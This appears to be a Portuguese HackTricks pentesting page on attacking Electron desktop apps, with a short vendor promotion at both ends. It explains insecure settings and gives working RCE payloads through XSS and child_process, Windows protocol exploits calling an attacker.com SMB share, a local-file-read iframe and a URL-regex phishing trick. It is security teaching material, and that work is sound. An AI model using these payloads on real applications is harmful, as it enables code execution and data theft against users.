Electron Desktop Apps

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares stealers.

O principal objetivo do WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares que roubam informações.

Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:


Introdução

O Electron combina um backend local (com NodeJS) e um frontend (Chromium), embora falte alguns dos mecanismos de segurança dos navegadores modernos.

Normalmente, você pode encontrar o código do aplicativo Electron dentro de um aplicativo .asar, para obter o código, você precisa extraí-lo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

No código-fonte de um aplicativo Electron, dentro de packet.json, você pode encontrar especificado o arquivo main.js onde as configurações de segurança são definidas.

{
"name": "standard-notes",
"main": "./app/index.js",

O Electron tem 2 tipos de processos:

  • Processo Principal (tem acesso completo ao NodeJS)

  • Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)

Um processo de renderização será uma janela do navegador carregando um arquivo:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

As configurações do processo de renderização podem ser configuradas no processo principal dentro do arquivo main.js. Algumas das configurações irão impedir que a aplicação Electron seja alvo de RCE ou outras vulnerabilidades se as configurações estiverem corretamente configuradas.

A aplicação Electron pode acessar o dispositivo via APIs do Node, embora possa ser configurada para evitá-lo:

  • nodeIntegration - está desativado por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização.

  • contextIsolation - está ativado por padrão. Se desativado, os processos principal e de renderização não estão isolados.

  • preload - vazio por padrão.

  • sandbox - está desativado por padrão. Ele restringirá as ações que o NodeJS pode executar.

  • Integração do Node em Workers

  • nodeIntegrationInSubframes - está desativado por padrão.

  • Se nodeIntegration estiver habilitado, isso permitiria o uso das APIs do Node.js em páginas da web que são carregadas em iframes dentro de uma aplicação Electron.

  • Se nodeIntegration estiver desativado, então os preloads serão carregados no iframe

Exemplo de configuração:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Alguns payloads de RCE de aqui:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Captura de tráfego

Modifique a configuração start-main e adicione o uso de um proxy como:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injeção de Código Local no Electron

Se você pode executar localmente um aplicativo Electron, é possível que você consiga fazê-lo executar código JavaScript arbitrário. Verifique como em:

pagemacOS Electron Applications Injection

RCE: XSS + nodeIntegration

Se o nodeIntegration estiver definido como on, o JavaScript de uma página da web pode usar facilmente recursos do Node.js apenas chamando o require(). Por exemplo, a maneira de executar o aplicativo de calculadora no Windows é:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

O script indicado nesta configuração é carregado antes de outros scripts no renderizador, então ele tem acesso ilimitado às APIs do Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Portanto, o script pode exportar recursos do nó para páginas:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Se contextIsolation estiver ativado, isso não funcionará

RCE: XSS + contextIsolation

O contextIsolation introduz os contextos separados entre os scripts da página da web e o código interno JavaScript do Electron para que a execução do JavaScript de cada código não afete um ao outro. Esta é uma característica necessária para eliminar a possibilidade de RCE.

Se os contextos não estiverem isolados, um atacante pode:

  1. Executar JavaScript arbitrário no renderizador (XSS ou navegação para sites externos)

  2. Sobrescrever o método integrado que é usado no código de pré-carregamento ou no código interno do Electron para uma função própria

  3. Acionar o uso da função sobrescrita

  4. RCE?

Existem 2 lugares onde os métodos integrados podem ser sobrescritos: No código de pré-carregamento ou no código interno do Electron:

pageElectron contextIsolation RCE via preload codepageElectron contextIsolation RCE via Electron internal codepageElectron contextIsolation RCE via IPC

Bypass do evento de clique

Se houver restrições aplicadas quando você clica em um link, você pode ser capaz de contorná-las fazendo um clique do meio em vez de um clique esquerdo regular

window.addEventListener('click', (e) => {

RCE via shell.openExternal

Para obter mais informações sobre esses exemplos, consulte https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 e https://benjamin-altpeter.de/shell-openexternal-dangers/

Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para nodeIntegration e contextIsolation é crucial. Está estabelecido que a execução remota de código (RCE) do lado do cliente visando scripts de pré-carregamento ou código nativo do Electron a partir do processo principal é efetivamente impedida com essas configurações em vigor.

Ao interagir com links ou abrir novas janelas, ouvintes de eventos específicos são acionados, os quais são cruciais para a segurança e funcionalidade do aplicativo:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Estes ouvintes são substituídos pela aplicação desktop para implementar sua própria lógica de negócios. A aplicação avalia se um link navegado deve ser aberto internamente ou em um navegador web externo. Essa decisão é tipicamente feita por meio de uma função, openInternally. Se esta função retornar false, indica que o link deve ser aberto externamente, utilizando a função shell.openExternal.

Aqui está um pseudocódigo simplificado:

As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função openExternal, pois isso poderia levar a RCE por meio de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e uma explicação mais aprofundada sobre este tópico, pode-se consultar este recurso, que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.

Exemplos de exploits de protocolos do Windows incluem:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Leitura de Arquivos Internos: XSS + contextIsolation

Desativar contextIsolation permite o uso de tags <webview>, semelhantes ao <iframe>, para ler e exfiltrar arquivos locais. Um exemplo fornecido demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:

Além disso, outro método para ler um arquivo interno é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivo local em um aplicativo de desktop Electron. Isso envolve a injeção de um script para explorar o aplicativo e exfiltrar dados:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Chromium Antigo

Se o chromium usado pela aplicação for antigo e houver vulnerabilidades conhecidas nele, pode ser possível explorá-lo e obter RCE através de um XSS. Você pode ver um exemplo neste artigo: https://blog.electrovolt.io/posts/discord-rce/

Phishing de XSS via bypass de regex de URL interna

Supondo que você encontrou um XSS, mas não consegue acionar RCE ou roubar arquivos internos, você pode tentar usá-lo para roubar credenciais via phishing.

Primeiramente, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

A chamada para openInternally irá decidir se o link será aberto na janela do desktop como um link pertencente à plataforma, ou se será aberto no navegador como um recurso de terceiros.

No caso do regex usado pela função ser vulnerável a bypasses (por exemplo, por não escapar os pontos dos subdomínios), um atacante poderia abusar do XSS para abrir uma nova janela que estará localizada na infraestrutura do atacante solicitando credenciais ao usuário:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Ferramentas

  • Electronegativity é uma ferramenta para identificar configurações incorretas e padrões de segurança em aplicações baseadas em Electron.

  • Electrolint é um plugin de código aberto para o VS Code para aplicações Electron que utiliza o Electronegativity.

  • nodejsscan para verificar bibliotecas de terceiros vulneráveis.

  • Electro.ng: Você precisa comprá-lo

Laboratórios

Em https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.

Alguns comandos que irão ajudá-lo com o laboratório:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referências

WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.

O principal objetivo do WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares de roubo de informações.

Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated